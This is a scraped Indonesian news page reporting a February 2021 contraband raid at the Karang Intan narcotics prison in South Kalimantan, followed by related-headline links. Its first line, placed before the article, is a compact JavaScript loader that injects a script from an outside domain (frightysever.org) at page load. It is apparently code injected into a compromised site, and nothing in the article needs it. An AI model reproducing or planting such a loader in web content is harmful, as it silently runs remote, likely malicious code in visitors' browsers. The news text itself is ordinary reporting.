(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Barang-barang terlarang ternyata masih bisa berada dalam lingkungan Lembaga Pemasyarakatan. Buktinya, senjata tajam (sajam) dan charger handphone ditemukan di Lembaga Pemasyarakatan (Lapas) Narkotika Kelas IIA Karang Intan, saat operasi penertiban, Kamis (4/2/2021).
Selepas apel pagi, seluruh petugas Lapas Karang Intan bergerak menuju kamar para napi. Razia digelar petugas terkait HP, pungutan liar, dan Narkoba (Halinar).
Hasilnya didapati dua bilah sajam modifikasi dari korek api yang dipasangkan dengan mata pisau, dua gunting, tiga buah terminal rakitan, dua buah charger handphone.
Barang temuan yang terlarang masuk Lapas itu kemudian langsung dimusnahkan dengan cara dibakar.
Kepala Lapas (Kalapas) Karang Intan Wahyu Susetyo mengatakan, Sidak Halinar rutin dilaksanakan jajaran Lapas Karang Intan.
“Dalam 1 minggu dilakukan 4 kali sidak dengan waktu yang tidak ditentukan, bisa pagi, siang maupun malam, terkadang bisa juga insidentil,” ujar Kalapas Narkotika Karang Intan.
Tujuan dari kegiatan ini guna memastikan tidak ada barang-barang terlarang beredar di dalam Lapas, karena dikhawatirkan barang-barang tersebut dapat mengganggu keamanan dan ketertiban.
Kalapas menegaskan bahwa Lapas Karang Intan tidak berdiam diri atas kasus yang melibatkan warga binaan, salah satunya dengan rajin melakukan giat penggeledahan.
“Kita tidak berdiam diri dengan berbagai kasus yang melibatkan warga binaan, khususnya dalam upaya pemberantasan narkoba, karena warga binaan itu banyak cara, cara memasukan barang terlarang dan menyembunyikan nya, jadi Kita harus rutin melakukan penggeledahan, baik yang sifatnya rutinitas maupun insidentil,” ujarnya.
Lapas Karang Intan kooperatif dan tidak menghalangi proses hukum yang melibatkan warga binaan, seperti saat BNN atau aparat penegak hukum lainnya yang menjemput warga binaan.
“Jika ditemukan barang-barang terlarang, maka yang bersangkutan akan mendapatkan register F, hak-haknya bisa dicabut, misalnya tidak mendapatkan remisi, atau jika terlalu mengkhawatirkan bisa dikirim ke Lapas lain, misalnya ke Nusa Kambangan,” tegas Wahyu. (kanalkalimantan.com/putra)
Reporter: putra
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.